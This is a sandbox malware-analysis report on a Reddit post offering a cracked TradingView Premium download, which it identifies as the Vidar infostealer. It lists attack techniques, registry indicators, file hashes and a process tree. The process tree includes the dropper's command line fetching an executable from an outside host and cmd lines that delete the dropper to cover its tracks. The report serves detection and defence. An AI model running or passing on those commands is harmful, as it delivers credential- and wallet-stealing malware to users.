vidar | hxxps://www[.]reddit[.]com/r/Cracked_Software_Hub/comments/1fo875c/tradingview_premium_cracked_version_available_for/

Analysis

max time kernel
220s
max time network
240s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
18-10-2024 13:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://www.reddit.com/r/Cracked_Software_Hub/comments/1fo875c/tradingview_premium_cracked_version_available_for/

Score

10^/10

vidar credential_access discovery spyware stealer

Malware Config

Signatures

Detect Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral1/memory/3172-379-0x0000000000270000-0x00000000015C9000-memory.dmp	family_vidar_v7
behavioral1/memory/3172-497-0x0000000000270000-0x00000000015C9000-memory.dmp	family_vidar_v7
behavioral1/memory/2836-525-0x0000000000DA0000-0x00000000020F9000-memory.dmp	family_vidar_v7
behavioral1/memory/1820-559-0x0000000000A70000-0x0000000001DC9000-memory.dmp	family_vidar_v7

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Executes dropped EXE 11 IoCs

pid	Process
4108	IJKFHI.exe
4284	IJKFHI.exe
3992	IJKFHI.exe
664	IJKFHI.exe
4472	IJKFHI.exe
2660	IJKFHI.exe
1592	IJKFHI.exe
3200	IJKFHI.exe
4596	IJKFHI.exe
4832	IJKFHI.exe
2768	IJKFHI.exe

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TradingView Premium Desktop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TradingView Premium Desktop.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	TradingView Premium Desktop.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	TradingView Premium Desktop.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	TradingView Premium Desktop.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	TradingView Premium Desktop.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4524	timeout.exe
3644	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\TradingView_Premium_Desktop.zip:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
5080	msedge.exe
5080	msedge.exe
3496	msedge.exe
3496	msedge.exe
4716	msedge.exe
4716	msedge.exe
2256	identity_helper.exe
2256	identity_helper.exe
2100	msedge.exe
2100	msedge.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
3172	TradingView Premium Desktop.exe
2100	msedge.exe
2100	msedge.exe
2100	msedge.exe
2100	msedge.exe
2836	TradingView Premium Desktop.exe
2836	TradingView Premium Desktop.exe
2836	TradingView Premium Desktop.exe
2836	TradingView Premium Desktop.exe
2836	TradingView Premium Desktop.exe
2836	TradingView Premium Desktop.exe
2836	TradingView Premium Desktop.exe
2836	TradingView Premium Desktop.exe
1820	TradingView Premium Desktop.exe
1820	TradingView Premium Desktop.exe
1820	TradingView Premium Desktop.exe
1820	TradingView Premium Desktop.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe

Suspicious use of SendNotifyMessage 14 IoCs

pid	Process
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe
3496	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3496 wrote to memory of 3752	3496	msedge.exe	77
PID 3496 wrote to memory of 3752	3496	msedge.exe	77
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 4104	3496	msedge.exe	78
PID 3496 wrote to memory of 5080	3496	msedge.exe	79
PID 3496 wrote to memory of 5080	3496	msedge.exe	79
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80
PID 3496 wrote to memory of 3680	3496	msedge.exe	80

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.reddit.com/r/Cracked_Software_Hub/comments/1fo875c/tradingview_premium_cracked_version_available_for/
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffdcc063cb8,0x7ffdcc063cc8,0x7ffdcc063cd8
  2⤵
  PID:3752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:4104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2480 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2660 /prefetch:8
  2⤵
  PID:3680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:1684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:4328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:1
  2⤵
  PID:1976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5528 /prefetch:1
  2⤵
  PID:4804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5852 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5916 /prefetch:1
  2⤵
  PID:1676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5996 /prefetch:1
  2⤵
  PID:1944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:1
  2⤵
  PID:4792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5832 /prefetch:1
  2⤵
  PID:3296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4876 /prefetch:1
  2⤵
  PID:4508
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6932 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
  2⤵
  PID:1468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:1
  2⤵
  PID:3788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5620 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1900,9951961267479104689,1910029193188275418,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5132 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2100

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2184

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1176

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3384

C:\Users\Admin\AppData\Local\Temp\Temp1_TradingView_Premium_Desktop_(password_github).zip\TradingView Premium Desktop.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_TradingView_Premium_Desktop_(password_github).zip\TradingView Premium Desktop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3172
- C:\ProgramData\IJKFHI.exe
  C:\ProgramData\\IJKFHI.exe https://apklight.com/clips.exe
  2⤵
  - Executes dropped EXE
  PID:4108
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:4284
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:3992
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:664
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:4472
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:2660
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:1592
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:3200
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:4596
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:4832
- - C:\ProgramData\IJKFHI.exe
    C:\ProgramData\IJKFHI.exe
    3⤵
    - Executes dropped EXE
    PID:2768
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\ProgramData\IJKFHI.exe" & exit
    3⤵
    PID:4508
  - - C:\Windows\system32\timeout.exe
      timeout /t 10
      4⤵
      Delays execution with timeout.exe
      PID:4524
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CFCFCAAAAFBA" & exit
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1076
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 10
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:3644

C:\Users\Admin\Documents\TradingView_Premium_Desktop_(password_github)\TradingView Premium Desktop.exe
"C:\Users\Admin\Documents\TradingView_Premium_Desktop_(password_github)\TradingView Premium Desktop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2836

C:\Users\Admin\AppData\Local\Temp\Temp1_TradingView_Premium_Desktop_(password_github).zip\TradingView Premium Desktop.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_TradingView_Premium_Desktop_(password_github).zip\TradingView Premium Desktop.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\CGIEGHJEGHJK\IJEHCG

Filesize
114KB

MD5
9c2aff15e8621453f4e0816211285ea4

SHA1
528523d2aaa3d8e34a7403135f392b6f46b27e8d

SHA256
8ca103b28c1ecfd5080f6412883cc69b6e86edf3b5dd7ef75924746bb75424da

SHA512
770117d15d333a499bce01f6b7d9097ce1c779edac0a341701fa00bf266bee17f80e336e1538a74d9dd28c13628d3d39bdd08deb42cf08662b881b7a0526142d

Download Submit
C:\ProgramData\IJKFHI.exe

Filesize
7KB

MD5
1fbd01ee768b7c4abfd2783a4707a072

SHA1
15288415ec755c2673da3c716386abfdd35aaaed

SHA256
0a6b558dc092b4f6bce802a6407fe468f7b973c82db36e2d7a0d0db5635838b4

SHA512
200e9ddc345d9a9014e4b8db1db4647ab247491de20deea02ee65a032f62c67cf46fa46fff19b2e2059ba9274a24d9ad12c55b14af9da2ccfb355a40875a8c5d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619

Filesize
471B

MD5
557c99a6e536ff04376383fb0073da5a

SHA1
c8fae8033ed5dd63fa38851a83580f58aa45a65e

SHA256
4154f9f3afadb6f6acdc2761c5c7e89a4cf7300310ad8ba74bf4789f91da261d

SHA512
269d7b7a6ccdbc429e695372027b4e9436aa4fd863b5bd453163a5efdff5073e08ec683e308d80b8e329cf172f0517345b20b5fcb2f3b2f3430893ec098e38c3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619

Filesize
400B

MD5
f304d7b3afe59009ffdaba7a92ba8a9e

SHA1
154609426fa0d654b26e159024f086dac8f91a16

SHA256
1495647a4decf927344bb30698b1fe8b90f9708fa20cb9aa899548dc30ea6ff4

SHA512
4e98a05b92e38d36d6f1390ce717f35625f303c251a4e4fc81652ad4a96ef1ccef1373a501a58075670ed009cffb59125fa8fc796eccf72df384c87e46085945

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
aad1d98ca9748cc4c31aa3b5abfe0fed

SHA1
32e8d4d9447b13bc00ec3eb15a88c55c29489495

SHA256
2a07cac05ffcf140a9ad32e58ef51b32ecccf1e3ab5ef4e656770df813a8944e

SHA512
150ebf7e37d20f88b21ab7ea0793afe1d40b00611ed36f0cf1ac1371b656d26f11b08a84dbb958891c79776fae04c9c616e45e2e211d292988a5709857a3bf72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
cb557349d7af9d6754aed39b4ace5bee

SHA1
04de2ac30defbb36508a41872ddb475effe2d793

SHA256
cfc24ed7d1c2e2c6585f53db7b39aa2447bf9212487b0a3c8c2a7d8e7e5572ee

SHA512
f0cf51f42d975d720d613d09f201435bf98c6283ae5bc033207f4ada93b15e49743a235a1cfb1b761bde268e2f7f8561aa57619b99bff67a36820bc1a4d0ec4a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

Filesize
215KB

MD5
0e3d96124ecfd1e2818dfd4d5f21352a

SHA1
098b1aa4b26d3c77d24dc2ffd335d2f3a7aeb5d7

SHA256
eef545efdb498b725fbabeedd5b80cec3c60357df9bc2943cfd7c8d5ae061dcc

SHA512
c02d65d901e26d0ed28600fa739f1aa42184e00b4e9919f1e4e9623fe9d07a2e2c35b0215d4f101afc1e32fc101a200ca4244eb1d9ca846065d387144451331c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
bad0c95e520c2f0f3b8d402bb48d95b4

SHA1
8076e12a76a4dd286492a9bfeaa8fda75abde26b

SHA256
bb7244055440088accc08c5abeb5f55010ba45466eaeda7e9f4dc99b3db6cd1d

SHA512
0e788069047b5f0663aa6ebcebfa1284dfdf8faa76752d93b491f0f5e773dacb301e3c5a10da5bb61eed1a5722df6236ac5ccf612541d691fe8d8af5b05b04dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
981e962260a5f7cd5c52ee43338de172

SHA1
5c8ae92bd7066a6f96233e11efdcae8c5a3eba4c

SHA256
be3148410cb35e7b837e41d80c87bae2c49b8d8a6aa2fb760563a75f055092c3

SHA512
